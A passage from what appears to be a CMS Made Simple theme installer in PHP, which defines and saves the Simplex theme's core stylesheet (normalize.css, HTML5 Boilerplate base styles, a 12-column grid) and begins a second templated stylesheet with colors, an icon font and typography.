[[strip]]\r\n\r\n[[* /*! normalize.css v2.1.3 | MIT License | git.io/normalize */ *]]\r\n\r\n[[* /* ==========================================================================\r\n HTML5 display definitions\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * Correct `block` display not defined in IE 8/9.\r\n */ *]]\r\n\r\narticle, aside, details, figcaption, figure, footer, header, hgroup, main, nav, section, summary {\r\n	display: block;\r\n}\r\n\r\n[[* /**\r\n * Correct `inline-block` display not defined in IE 8/9.\r\n */ *]]\r\n\r\naudio, canvas, video {\r\n	display: inline-block;\r\n}\r\n\r\n[[* /**\r\n * Prevent modern browsers from displaying `audio` without controls.\r\n * Remove excess height in iOS 5 devices.\r\n */ *]]\r\n\r\naudio:not([controls]) {\r\n	display: none;\r\n	height: 0;\r\n}\r\n\r\n[[* /**\r\n * Address `[hidden]` styling not present in IE 8/9.\r\n * Hide the `template` element in IE, Safari, and Firefox < 22.\r\n */ *]]\r\n\r\n[hidden], template {\r\n	display: none;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Base\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * 1. Set default font family to sans-serif.\r\n * 2. Prevent iOS text size adjust after orientation change, without disabling\r\n *    user zoom.\r\n */ *]]\r\n\r\nhtml {\r\n	font-family: sans-serif; [[* /* 1 */ *]]\r\n	-ms-text-size-adjust: 100%; [[* /* 2 */ *]]\r\n	-webkit-text-size-adjust: 100%; [[* /* 2 */ *]]\r\n}\r\n\r\n[[* /**\r\n * Remove default margin.\r\n */ *]]\r\n\r\nbody {\r\n	margin: 0;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Links\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * Remove the gray background color from active links in IE 10.\r\n */ *]]\r\n\r\na {\r\n	background: transparent;\r\n}\r\n\r\n[[* /**\r\n * Address `outline` inconsistency between Chrome and other browsers.\r\n */ *]]\r\n\r\na:focus {\r\n	outline: thin dotted;\r\n}\r\n\r\n[[* /**\r\n * Improve readability when focused and also mouse hovered in all browsers.\r\n */ *]]\r\n\r\na:active, a:hover {\r\n	outline: 0;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Typography\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * Address variable `h1` font-size and margin within `section` and `article`\r\n * contexts in Firefox 4+, Safari 5, and Chrome.\r\n */ *]]\r\n\r\nh1 {\r\n	font-size: 2em;\r\n	margin: 0.67em 0;\r\n}\r\n\r\n[[* /**\r\n * Address styling not present in IE 8/9, Safari 5, and Chrome.\r\n */ *]]\r\n\r\nabbr[title] {\r\n	border-bottom: 1px dotted;\r\n}\r\n\r\n[[* /**\r\n * Address style set to `bolder` in Firefox 4+, Safari 5, and Chrome.\r\n */ *]]\r\n\r\nb, strong {\r\n	font-weight: bold;\r\n}\r\n\r\n[[* /**\r\n * Address styling not present in Safari 5 and Chrome.\r\n */ *]]\r\n\r\ndfn {\r\n	font-style: italic;\r\n}\r\n\r\n[[* /**\r\n * Address differences between Firefox and other browsers.\r\n */ *]]\r\n\r\nhr {\r\n	-moz-box-sizing: content-box;\r\n	box-sizing: content-box;\r\n	height: 0;\r\n}\r\n\r\n[[* /**\r\n * Address styling not present in IE 8/9.\r\n */ *]]\r\n\r\nmark {\r\n	background: #ff0;\r\n	color: #000;\r\n}\r\n\r\n[[* /**\r\n * Correct font family set oddly in Safari 5 and Chrome.\r\n */ *]]\r\n\r\ncode, kbd, pre, samp {\r\n	font-family: monospace, serif;\r\n	font-size: 1em;\r\n}\r\n\r\n[[* /**\r\n * Improve readability of pre-formatted text in all browsers.\r\n */ *]]\r\n\r\npre {\r\n	white-space: pre-wrap;\r\n}\r\n\r\n[[* /**\r\n * Set consistent quote types.\r\n */ *]]\r\n\r\nq {\r\n	quotes: "\\201C" "\\201D" "\\2018" "\\2019";\r\n}\r\n\r\n[[* /**\r\n * Address inconsistent and variable font size in all browsers.\r\n */ *]]\r\n\r\nsmall {\r\n	font-size: 80%;\r\n}\r\n\r\n[[* /**\r\n * Prevent `sub` and `sup` affecting `line-height` in all browsers.\r\n */ *]]\r\n\r\nsub, sup {\r\n	font-size: 75%;\r\n	line-height: 0;\r\n	position: relative;\r\n	vertical-align: baseline;\r\n}\r\n\r\nsup {\r\n	top: -0.5em;\r\n}\r\n\r\nsub {\r\n	bottom: -0.25em;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Embedded content\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * Remove border when inside `a` element in IE 8/9.\r\n */ *]]\r\n\r\nimg {\r\n	border: 0;\r\n}\r\n\r\n[[* /**\r\n * Correct overflow displayed oddly in IE 9.\r\n */ *]]\r\n\r\nsvg:not(:root) {\r\n	overflow: hidden;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Figures\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * Address margin not present in IE 8/9 and Safari 5.\r\n */ *]]\r\n\r\nfigure {\r\n	margin: 0;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Forms\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * Define consistent border, margin, and padding.\r\n */ *]]\r\n\r\nfieldset {\r\n	border: 1px solid #c0c0c0;\r\n	margin: 0 2px;\r\n	padding: 0.35em 0.625em 0.75em;\r\n}\r\n\r\n[[* /**\r\n * 1. Correct `color` not being inherited in IE 8/9.\r\n * 2. Remove padding so people aren''t caught out if they zero out fieldsets.\r\n */ *]]\r\n\r\nlegend {\r\n	border: 0; [[* /* 1 */ *]]\r\n	padding: 0; [[* /* 2 */ *]]\r\n}\r\n\r\n[[* /**\r\n * 1. Correct font family not being inherited in all browsers.\r\n * 2. Correct font size not being inherited in all browsers.\r\n * 3. Address margins set differently in Firefox 4+, Safari 5, and Chrome.\r\n */ *]]\r\n\r\nbutton, input, select, textarea {\r\n	font-family: inherit; [[* /* 1 */ *]]\r\n	font-size: 100%; [[* /* 2 */ *]]\r\n	margin: 0; [[* /* 3 */ *]]\r\n}\r\n\r\n[[* /**\r\n * Address Firefox 4+ setting `line-height` on `input` using `!important` in\r\n * the UA stylesheet.\r\n */ *]]\r\n\r\nbutton, input {\r\n	line-height: normal;\r\n}\r\n\r\n[[* /**\r\n * Address inconsistent `text-transform` inheritance for `button` and `select`.\r\n * All other form control elements do not inherit `text-transform` values.\r\n * Correct `button` style inheritance in Chrome, Safari 5+, and IE 8+.\r\n * Correct `select` style inheritance in Firefox 4+ and Opera.\r\n */ *]]\r\n\r\nbutton, select {\r\n	text-transform: none;\r\n}\r\n\r\n[[* /**\r\n * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\r\n *    and `video` controls.\r\n * 2. Correct inability to style clickable `input` types in iOS.\r\n * 3. Improve usability and consistency of cursor style between image-type\r\n *    `input` and others.\r\n */ *]]\r\n\r\nbutton, html input[type="button"], [[* /* 1 */ *]]\r\ninput[type="reset"], input[type="submit"] {\r\n	-webkit-appearance: button; [[* /* 2 */ *]]\r\n	cursor: pointer; [[* /* 3 */ *]]\r\n}\r\n\r\n[[* /**\r\n * Re-set default cursor for disabled elements.\r\n */ *]]\r\n\r\nbutton[disabled], html input[disabled] {\r\n	cursor: default;\r\n}\r\n\r\n[[* /**\r\n * 1. Address box sizing set to `content-box` in IE 8/9/10.\r\n * 2. Remove excess padding in IE 8/9/10.\r\n */ *]]\r\n\r\ninput[type="checkbox"], input[type="radio"] {\r\n	box-sizing: border-box; [[* /* 1 */ *]]\r\n	padding: 0; [[* /* 2 */ *]]\r\n}\r\n\r\n[[* /**\r\n * 1. Address `appearance` set to `searchfield` in Safari 5 and Chrome.\r\n * 2. Address `box-sizing` set to `border-box` in Safari 5 and Chrome\r\n *    (include `-moz` to future-proof).\r\n */ *]]\r\n\r\ninput[type="search"] {\r\n	-webkit-appearance: textfield; [[* /* 1 */ *]]\r\n	-moz-box-sizing: content-box;\r\n	-webkit-box-sizing: content-box; [[* /* 2 */ *]]\r\n	box-sizing: content-box;\r\n}\r\n\r\n[[* /**\r\n * Remove inner padding and search cancel button in Safari 5 and Chrome\r\n * on OS X.\r\n */ *]]\r\n\r\ninput[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration {\r\n	-webkit-appearance: none;\r\n}\r\n\r\n[[* /**\r\n * Remove inner padding and border in Firefox 4+.\r\n */ *]]\r\n\r\nbutton::-moz-focus-inner, input::-moz-focus-inner {\r\n	border: 0;\r\n	padding: 0;\r\n}\r\n\r\n[[* /**\r\n * 1. Remove default vertical scrollbar in IE 8/9.\r\n * 2. Improve readability and alignment in all browsers.\r\n */ *]]\r\n\r\ntextarea {\r\n	overflow: auto; [[* /* 1 */ *]]\r\n	vertical-align: top; [[* /* 2 */ *]]\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Tables\r\n ========================================================================== */ *]]\r\n\r\n[[* /**\r\n * Remove most spacing between table cells.\r\n */ *]]\r\n\r\ntable {\r\n	border-collapse: collapse;\r\n	border-spacing: 0;\r\n}\r\n\r\n[[* /*! HTML5 Boilerplate v4.3.0 | MIT License | http://h5bp.com/ */ *]]\r\n\r\n[[* /*\r\n * What follows is the result of much research on cross-browser styling.\r\n * Credit left inline and big thanks to Nicolas Gallagher, Jonathan Neal,\r\n * Kroc Camen, and the H5BP dev community and team.\r\n */ *]]\r\n\r\n[[* /* ==========================================================================\r\n Base styles: opinionated defaults\r\n ========================================================================== */ *]]\r\n\r\nhtml {\r\n	color: #222;\r\n	font-size: 1em;\r\n	line-height: 1.4;\r\n}\r\n\r\n[[* /*\r\n * A better looking default horizontal rule\r\n */ *]]\r\n\r\nhr {\r\n	display: block;\r\n	height: 1px;\r\n	border: 0;\r\n	border-top: 1px solid #ccc;\r\n	margin: 1em 0;\r\n	padding: 0;\r\n}\r\n\r\n[[* /*\r\n * Remove the gap between images, videos, audio and canvas and the bottom of\r\n * their containers: h5bp.com/i/440\r\n */ *]]\r\n\r\naudio, canvas, img, svg, video {\r\n	vertical-align: middle;\r\n}\r\n\r\n[[* /*\r\n * Remove default fieldset styles.\r\n */ *]]\r\n\r\nfieldset {\r\n	border: 0;\r\n	margin: 0;\r\n	padding: 0;\r\n}\r\n\r\n[[* /*\r\n * Allow only vertical resizing of textareas.\r\n */ *]]\r\n\r\ntextarea {\r\n	resize: vertical;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Helper classes\r\n ========================================================================== */ *]]\r\n\r\n[[* /*\r\n * Hide from both screenreaders and browsers: h5bp.com/u\r\n */ *]]\r\n\r\n.hidden {\r\n	display: none !important;\r\n	visibility: hidden;\r\n}\r\n\r\n[[* /*\r\n * Hide only visually, but have it available for screenreaders: h5bp.com/v\r\n */ *]]\r\n\r\n.visuallyhidden {\r\n	border: 0;\r\n	clip: rect(0 0 0 0);\r\n	height: 1px;\r\n	margin: -1px;\r\n	overflow: hidden;\r\n	padding: 0;\r\n	position: absolute;\r\n	width: 1px;\r\n}\r\n\r\n[[* /*\r\n * Extends the .visuallyhidden class to allow the element to be focusable\r\n * when navigated to via the keyboard: h5bp.com/p\r\n */ *]]\r\n\r\n.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus {\r\n	clip: auto;\r\n	height: auto;\r\n	margin: 0;\r\n	overflow: visible;\r\n	position: static;\r\n	width: auto;\r\n}\r\n\r\n[[* /*\r\n * Hide visually and from screenreaders, but maintain layout\r\n */ *]]\r\n\r\n.invisible {\r\n	visibility: hidden;\r\n}\r\n\r\n[[* /*\r\n * Clearfix: contain floats\r\n *\r\n * For modern browsers\r\n * 1. The space content is one way to avoid an Opera bug when the\r\n *    `contenteditable` attribute is included anywhere else in the document.\r\n *    Otherwise it causes space to appear at the top and bottom of elements\r\n *    that receive the `clearfix` class.\r\n * 2. The use of `table` rather than `block` is only necessary if using\r\n *    `:before` to contain the top-margins of child elements.\r\n */ *]]\r\n\r\n.cf:before, .cf:after {\r\n	content: " "; [[* /* 1 */ *]]\r\n	display: table; [[* /* 2 */ *]]\r\n}\r\n\r\n.cf:after {\r\n	clear: both;\r\n}\r\n\r\n[[* /* =====================================\r\n BASE STYLES\r\n ===================================== */ *]]\r\n\r\n[[* /*\r\n * 1. Remove default vertical scrollbar in IE6/7/8/9\r\n * 2. Allow only vertical resizing\r\n */ *]]\r\ntextarea {\r\n	overflow: auto;\r\n	vertical-align: top;\r\n	resize: vertical\r\n}\r\n\r\nul, ol {\r\n	margin: 1em 0;\r\n	padding: 0 0 0 40px\r\n}\r\n\r\ndd {\r\n	margin: 0 0 0 40px\r\n}\r\n\r\nnav ul, nav ol {\r\n	list-style: none;\r\n	list-style-image: none;\r\n	margin: 0;\r\n	padding: 0\r\n}\r\n\r\n[[* /* Redeclare monospace font family */ *]]\r\npre, code, kbd, samp {\r\n	font-family: monospace, serif;\r\n	_font-family: courier new, monospace;\r\n	font-size: 1em\r\n}\r\n\r\n[[* /* Improve readability of pre-formatted text in all browsers */ *]]\r\npre {\r\n	white-space: pre;\r\n	white-space: pre-wrap;\r\n	word-wrap: break-word\r\n}\r\n\r\nq {\r\n	quotes: none\r\n}\r\n\r\nq:before, q:after {\r\n	content: "";\r\n	content: none\r\n}\r\n\r\nsmall {\r\n	font-size: 85%\r\n}\r\n\r\n[[* /* correct text resizing */ *]]\r\nhtml {\r\n	font-size: 100%;\r\n	-webkit-text-size-adjust: 100%;\r\n	-ms-text-size-adjust: 100%\r\n}\r\n\r\nbody {\r\n	margin: 0;\r\n	font-size: 1em;\r\n	-webkit-font-smoothing: antialiased;\r\n}\r\n\r\n[[* /* =====================================\r\n 12 COLUMN GRID\r\n ===================================== */ *]]\r\n\r\n[[* /* ==========================================================================\r\n 12 Column Grid System based on the 1140px Grid V2\r\n by Andy Taylor http://cssgrid.net\r\n\r\n Extended by Goran Ilic http://www.ich-mach-das.at\r\n https://github.com/Stikki/Yetti/blob/master/static/css/yetti-grid.css\r\n ========================================================================== */ *]]\r\n\r\n.container {\r\n	padding-left: 10px;\r\n	padding-right: 10px;\r\n}\r\n\r\n.row {\r\n	width: 100%;\r\n	max-width: 1440px;\r\n	margin: 0 auto;\r\n	position: relative;\r\n}\r\n\r\n.row:before, .row:after, .form-row:before, .form-row:after {\r\n	content: " ";\r\n	display: table;\r\n}\r\n\r\n.row:after, .form-row:after {\r\n	clear: both;\r\n}\r\n\r\n[[* /* ==========================================================================\r\n Base 12 Column Grid\r\n ========================================================================== */ *]]\r\n\r\n.full {\r\n	width: 100%;\r\n	display: block;\r\n}\r\n\r\n.half, .third, .two-third, .quarter, .three-quarter, .fifth, .two-fifth, .three-fifth, .four-fifth {\r\n	float: left;\r\n}\r\n\r\n.half {\r\n	width: 50%;\r\n}\r\n\r\n.third {\r\n	width: 33.33%;\r\n}\r\n\r\n.two-third {\r\n	width: 66.66%;\r\n}\r\n\r\n.quarter {\r\n	width: 25%;\r\n}\r\n\r\n.three-quarter {\r\n	width: 75%;\r\n}\r\n\r\n.fifth {\r\n	width: 20%;\r\n}\r\n\r\n.two-fifth {\r\n	width: 40%;\r\n}\r\n\r\n.three-fifth {\r\n	width: 60%;\r\n}\r\n\r\n.four-fifth {\r\n	width: 80%\r\n}\r\n\r\n[[* /* Animate position of columns */ *]]\r\n.row [class*="-col"] {\r\n	-webkit-transition:all .4s ease;\r\n	-moz-transition:all .4s ease;\r\n	-o-transition:all .4s ease;\r\n	-ms-transition:all .4s ease;\r\n	transition:all .4s ease;\r\n}\r\n\r\n@media only screen and (min-width: 768px) {\r\n	\r\n	.container {\r\n		padding-left: 20px;\r\n		padding-right: 20px;\r\n	}\r\n\r\n	[[* /* ==========================================================================\r\n	 Base 12 Column Grid\r\n	 ========================================================================== */ *]]\r\n\r\n	.col, .one-col, .two-col, .three-col, .four-col, .five-col, .six-col, .seven-col, .eight-col, .nine-col, .ten-col, .eleven-col {\r\n		margin-left: 3.8%;\r\n		float: left;\r\n		min-height: 1px;\r\n		position: relative;\r\n	}\r\n	.row .one-col {\r\n		width: 4.85%;\r\n	}\r\n	.row .two-col {\r\n		width: 13.45%;\r\n	}\r\n	.row .three-col {\r\n		width: 22.05%;\r\n	}\r\n	.row .four-col {\r\n		width: 30.75%;\r\n	}\r\n	.row .five-col {\r\n		width: 39.45%;\r\n	}\r\n	.row .six-col {\r\n		width: 48.1%;\r\n	}\r\n	.row .seven-col {\r\n		width: 56.75%;\r\n	}\r\n	.row .eight-col {\r\n		width: 65.4%;\r\n	}\r\n	.row .nine-col {\r\n		width: 74.05%;\r\n	}\r\n	.row .ten-col {\r\n		width: 82.7%;\r\n	}\r\n	.row .eleven-col {\r\n		width: 91.35%;\r\n	}\r\n	.row .twelve-col {\r\n		width: 100%;\r\n		margin-left: 0;\r\n	}\r\n	.row [class*="-col"]:first-child, .row [class*="-col"].first {\r\n		margin-left: 0;\r\n	}\r\n\r\n	[[* /* ==========================================================================\r\n	 Offset Space\r\n	 ========================================================================== */ *]]\r\n\r\n	.row .offset-one {\r\n		margin-left: 8.65% !important;\r\n	}\r\n	.row .offset-two {\r\n		margin-left: 17.25% !important;\r\n	}\r\n	.row .offset-three {\r\n		margin-left: 25.85% !important;\r\n	}\r\n	.row .offset-four {\r\n		margin-left: 34.55% !important;\r\n	}\r\n	.row .offset-five {\r\n		margin-left: 43.25% !important;\r\n	}\r\n	.row .offset-six {\r\n		margin-left: 51.8% !important;\r\n	}\r\n	.row .offset-seven {\r\n		margin-left: 60.55% !important;\r\n	}\r\n	.row .offset-eight {\r\n		margin-left: 69.2% !important;\r\n	}\r\n	.row .offset-nine {\r\n		margin-left: 77.85% !important;\r\n	}\r\n	.row .offset-ten {\r\n		margin-left: 86.5% !important;\r\n	}\r\n	.row .offset-eleven {\r\n		margin-left: 95.15% !important;\r\n	}\r\n\r\n	[[* /* ==========================================================================\r\n	 Push & Pull Space\r\n	 ========================================================================== */ *]]\r\n\r\n	.row .push-one, .row .push-two, .row .push-three, .row .push-four, .row .push-five, .row .push-six, .row .push-seven, .row .push-eight,\r\n	.row .push-nine, .row .push-ten, .row .push-eleven, .row .pull-one, .row .pull-two, .row .pull-three, .row .pull-four, .row .pull-five,\r\n	.row .pull-six, .row .pull-seven, .row .pull-eight, .row .pull-nine, .row .pull-ten, .row .pull-eleven {\r\n		position: relative;\r\n		margin-left: 0;\r\n	}\r\n\r\n	.row .push-one {\r\n		left: 8.65%;\r\n	}\r\n	.row .push-two {\r\n		left: 17.25%;\r\n	}\r\n	.row .push-three {\r\n		left: 25.85%;\r\n	}\r\n	.row .push-four {\r\n		left: 34.55%;\r\n	}\r\n	.row .push-five {\r\n		left: 43.25%;\r\n	}\r\n	.row .push-six {\r\n		left: 51.8%;\r\n	}\r\n	.row .push-seven {\r\n		left: 60.55%;\r\n	}\r\n	.row .push-eight {\r\n		left: 69.2%;\r\n	}\r\n	.row .push-nine {\r\n		left: 77.85%;\r\n	}\r\n	.row .push-ten {\r\n		left: 86.5%;\r\n	}\r\n	.row .push-eleven {\r\n		left: 95.15%;\r\n	}\r\n\r\n	.row .pull-one {\r\n		right: 4.85%;\r\n	}\r\n	.row .pull-two {\r\n		right: 13.45%;\r\n	}\r\n	.row .pull-three {\r\n		right: 22.05%;\r\n	}\r\n	.row .pull-four {\r\n		right: 30.75%;\r\n	}\r\n	.row .pull-five {\r\n		right: 39.45%;\r\n	}\r\n	.row .pull-six {\r\n		right: 48%;\r\n	}\r\n	.row .pull-seven {\r\n		right: 56.75%;\r\n	}\r\n	.row .pull-eight {\r\n		right: 65.4%;\r\n	}\r\n	.row .pull-nine {\r\n		right: 74.05%;\r\n	}\r\n	.row .pull-ten {\r\n		right: 82.7%;\r\n	}\r\n	.row .pull-eleven {\r\n		right: 91.35%;\r\n	}\r\n\r\n}\r\n\r\n[[/strip]]
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Simplex Core');
$css->set_description('Simplex Theme core Stylesheet, containing 12 column grid system and HTML5 resets (normalize.css)');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
[[strip]]\r\n\r\n[[* APPEARANCE *]]\r\n[[* \r\n	/**\r\n	 * @copyright CMS Made Simple 2014\r\n	 * @author Goran Ilic (uniqu3e@gmail.com)\r\n	 * @version 1.1 (CMSMS 2.0 Package)\r\n	 * \r\n	 * Simplex Theme comes with 2 predefined Style variations, one is a "boxed" style as seen in\r\n	 * default installation which is controle with "boxed" ID that is set in Simplex Theme <body> tag.\r\n	 * If you remove this ID, a grey background on page body will be removed and layout will no longer \r\n	 * be wrapped inside a "box" but appear in a single background color which is by default white.\r\n	 * \r\n	 * Besides there are also predefined class names and styles that you can use on <body> tag to\r\n	 * change alignment of complete layout/page.\r\n	 * If you rightaligned class to body (example: <body class='rightaligned and other classes'>) \r\n	 * then whole page layout will be positioned to right window side instead of centered position\r\n	 * and with class leftaligned the page layout will be positioned to left.\r\n	 * \r\n	 * Maximum width of page layout is preset to 1440px in Simplex Core stylesheet, you can change this \r\n	 * by adding a new rule in this stylesheet with a class .row (Example: .row { max-width: 1080px; }).\r\n	 * If you prefer a full width layout simply add fullwidth class to body tag of Simplex Template.  \r\n	 * This class will reset max-width limitation and force the page layout to full window width with\r\n	 * spacing on left and right of 30px.\r\n	 * \r\n	 * Browser Support: \r\n	 * Simplex Theme was tested in common modern Browser and IE8 (with gracefull fallback).\r\n	 * \r\n	 * Grid usage:\r\n	 * Simplex is using a custom Yetti Framework 12 column grid (https://github.com/Stikki/Yetti/tree/master)\r\n	 * based on Andy Taylors (http://cssgrid.net) 1140px Grid.\r\n	 * \r\n	 * Using the grid system is fairly simple. Make sure that grid columns\r\n	 * are wrapped inside a element with .row class.\r\n	 * When grid columns are inside a row element, floats are auto cleared,\r\n	 * therefore you do not need anything like some empty clear element ie. <div class="clear"></div>\r\n	 * Grid columns have a spacing (margin-left) of 3.8% of the layout, whereby first column after\r\n	 * .row opening element will have no spacing (margin-left).\r\n	 * Grid columns are only applied to Browser and Screen size which are greater then 768px;\r\n	 * \r\n	 * Example (three column row):\r\n	 * \r\n	 * <!-- container has a preset padding to left and right with 20px -->\r\n	 * <div class="container">\r\n	 *     <!-- clears floating row of columns, sets maximum width of 1440px -->\r\n	 *     <div class="row some-class-to-apply-styles">\r\n	 *         <!-- \r\n	 *             four-col explanation: a simple math, grid is built out of 12 columns, so we say we want\r\n	 *             a grid column in size of four columns width therefore the name four- and to fill \r\n	 *             our .row it is three times four-col column makes twelve columns (3 x 4 = 12)\r\n	 *         -->\r\n	 *         <div class="four-col my-class">\r\n	 *             Some content\r\n	 *         </div>\r\n	 *         <div class="four-col my-class">\r\n	 *             Some content\r\n	 *         </div>\r\n	 *         <div class="four-col my-class">\r\n	 *             Some content\r\n	 *         </div>\r\n	 *     </div>\r\n	 *     <div class="row">\r\n	 *         <div class="six-col">\r\n	 *             Half width content\r\n	 *         </div>\r\n	 *         <div class="six-col">\r\n	 *             Half width content\r\n	 *         </div>\r\n	 *     </div>\r\n	 * </div>\r\n	 * \r\n	 */ \r\n*]]\r\n\r\n[[* /* assign the images path to a variable */ *]]\r\n[[capture assign='path']][[uploads_url]]/simplex/images[[/capture]]\r\n[[capture assign='font']][[uploads_url]]/simplex/fonts[[/capture]]\r\n\r\n[[* /* --- COLORS --- */ *]]\r\n\r\n[[assign var='light_grey' value='#f1f1f1']]\r\n[[assign var='grey' value='#e9e9e9']]\r\n[[assign var='dark_grey' value='#555' scope=global]]\r\n[[assign var='white' value='#fff']]\r\n[[assign var='orange' value='#f39c2c' scope=global]]\r\n[[assign var='dark_orange' value='#e6870e']]\r\n[[assign var='yellow' value='#fdbd34']]\r\n\r\n[[* /* =====================================\r\n ICON FONT\r\n ===================================== */ *]]\r\n[[* /* Will fail on Windows Phone 7, sorry developer life sucks */ *]]\r\n@font-face {\r\n	font-family: 'simplex';\r\n	src: url('[[\$font]]/simplex.eot');\r\n	src: url('[[\$font]]/simplex.eot?#iefix') format('embedded-opentype'),\r\n		url('[[\$font]]/simplex.woff') format('woff'), \r\n		url('[[\$font]]/simplex.ttf') format('truetype'),\r\n		url('[[\$font]]/simplex.svg#simplex') format('svg');\r\n	font-weight: normal;\r\n	font-style: normal;\r\n}\r\n\r\n[class^="icon-"], [class*=" icon-"] {\r\n	font-family: 'simplex';\r\n	speak: none;\r\n	font-style: normal;\r\n	font-weight: normal;\r\n	font-variant: normal;\r\n	text-transform: none;\r\n	line-height: 1;\r\n	-webkit-font-smoothing: antialiased;\r\n	-moz-osx-font-smoothing: grayscale;\r\n}\r\n\r\n.icon-arrow-up:before {\r\n	content: "\\e600";\r\n}\r\n\r\n.icon-arrow-left:before {\r\n	content: "\\e601";\r\n}\r\n\r\n.icon-search:before {\r\n	content: "\\e603";\r\n}\r\n\r\n.icon-printer:before {\r\n	content: "\\e604";\r\n}\r\n\r\n.icon-linkedin:before {\r\n	content: "\\e605";\r\n}\r\n\r\n.icon-pinterest:before {\r\n	content: "\\e606";\r\n}\r\n\r\n.icon-youtube:before {\r\n	content: "\\e607";\r\n}\r\n\r\n.icon-facebook:before {\r\n	content: "\\e608";\r\n}\r\n\r\n.icon-google:before {\r\n	content: "\\e609";\r\n}\r\n\r\n.icon-twitter:before {\r\n	content: "\\e60a";\r\n}\r\n\r\n.icon-link:before {\r\n	content: "\\e602";\r\n}\r\n\r\n[[* /* =====================================\r\n GENERAL STYLES\r\n ===================================== */ *]]\r\nbody {\r\n	background: [[\$white]];\r\n	font-family: 'Noto Sans', sans-serif;\r\n	font-size: 1em; [[* /* base browser font size: 16px, now do math "XX / 16 = ??" where XX is desired font size */ *]] \r\n	color: [[\$dark_grey]];\r\n	line-height: 1.5;\r\n}\r\n\r\n[[* /* add this class to <body> to align the layout to left instead of centered */ *]]\r\n.leftaligned {\r\n	margin-left: 0;\r\n}\r\n\r\n[[* /* add this class to <body> to align the layout to right instead of centered */ *]]\r\n.rightaligned {\r\n	margin-right: 0;\r\n}\r\n\r\n[[* /* you can change appearance of the page by adding or removing #boxed id to <body> tag. \r\n * By removing #boxed ID, page will no longer be wrapped in a wrapper \r\n */ *]]\r\nbody#boxed {\r\n	background: #f2f2f2 url([[\$path]]/body-background.png) repeat;\r\n}\r\n\r\n[[* /* add this class to <body> to make this layout full window width */ *]]\r\nbody.fullwidth .row {\r\n	max-width: none;\r\n}\r\n\r\na img {\r\n	border: none;\r\n}\r\n\r\n[[* /* you can use these classes to align images to left or right */ *]]\r\n.right {\r\n	float: right;\r\n}\r\n\r\n.left {\r\n	float: left;\r\n}\r\n\r\n[[* /* if image needs some space add this class to img tag\r\n * so at the end a left floating image would be <img src='some.jpg' class='left spacing' alt='foo' />\r\n */ *]]\r\n.spacing {\r\n	margin: 15px;\r\n}\r\n\r\n.spacing.left {\r\n	margin-right: 0;\r\n}\r\n\r\n.spacing.right {\r\n	margin-left: 0;\r\n}\r\n\r\n[[* /* or add a 2 px border to image or something, change as you need it */ *]]\r\n.border {\r\n	border: 2px solid [[\$grey]];\r\n}\r\n\r\n[[* /* some styling for code chunks */ *]]\r\npre, code, kbd, samp {\r\n	font-family: Consolas, 'Andale Mono WT', 'Andale Mono', 'Lucida Console', 'Lucida Sans Typewriter', monospace;\r\n	color: [[\$dark_grey]];\r\n}\r\n\r\npre code {\r\n	line-height: 1.4;\r\n	font-size: .8125em;\r\n}\r\n\r\npre {\r\n	padding: 10px;\r\n	margin: 10px 0;\r\n	overflow: auto;\r\n	width: 93%;\r\n	background: [[\$light_grey]];\r\n	border-radius: 6px;\r\n	-webkit-border-radius: 6px;\r\n	-moz-border-radius: 6px;\r\n	-o-border-radius: 6px;\r\n}\r\n\r\n[[* /* target IE7 and IE6 */ *]]\r\n*:first-child+ html pre {\r\n	padding-bottom: 20px;\r\n	overflow-y: hidden;\r\n	overflow: visible;\r\n	overflow-x: auto;\r\n}\r\n\r\n* html pre {\r\n	padding-bottom: 20px;\r\n	overflow: visible;\r\n	overflow-x: auto;\r\n}\r\n\r\n[[* /* horizontal ruler */ *]]\r\nhr {\r\n	border: solid [[\$grey]];\r\n	border-width: 1px 0 0 0;\r\n	clear: both;\r\n	margin: 10px 0 30px 0;\r\n	height: 0;\r\n}\r\n\r\n[[* /* =====================================\r\n COMMON TYPOGRAPHY\r\n ===================================== */ *]]\r\n\r\n[[* /* link default styles */ *]]\r\na {\r\n	color: [[\$orange]];\r\n}\r\n\r\na.external {\r\n	text-decoration: none;\r\n}\r\n\r\na:visited {\r\n	color: [[\$dark_orange]];\r\n}\r\n\r\na:hover {\r\n	color: [[\$dark_grey]];\r\n	transition: transform .3s ease-out;\r\n	-webkit-transition: color .3s ease-out;\r\n	-moz-transition: color .3s ease-out;\r\n	-o-transition: color .3s ease-out;\r\n	text-decoration: underline;\r\n}\r\n\r\na:focus {\r\n	outline: thin dotted;\r\n}\r\n\r\na:hover, a:active {\r\n	outline: 0;\r\n}\r\n\r\n[[* /* add icon to links with class external */ *]]\r\na.external:after {\r\n	content: "\\e602";\r\n	padding-left: 4px;\r\n	font-family: 'simplex';\r\n	text-decoration: none;\r\n}\r\n\r\n[[* /* default heading styles */ *]]\r\nh1, h2 {\r\n	font-family: 'Oswald', Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif;\r\n	font-weight: 700;\r\n}\r\n\r\nh3, h4, h5, h6 {\r\n	font-weight: 400;\r\n}\r\n\r\nh1 {\r\n	color: [[\$orange]];\r\n	margin: 10px 0;\r\n	font-size: 2em; [[* /* 32px */ *]]\r\n	text-transform: uppercase;\r\n}\r\n\r\nh2 {\r\n	color: [[\$dark_grey]];\r\n	font-size: 1.75em; [[* /* 28px */ *]]\r\n}\r\n\r\nh3 {\r\n	color: [[\$dark_grey]];\r\n	font-size: 1.5em; [[* /* 24px */ 